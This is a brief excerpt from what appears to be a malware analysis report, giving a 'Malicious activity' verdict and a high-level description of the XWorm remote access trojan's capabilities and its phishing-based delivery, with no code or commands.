| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
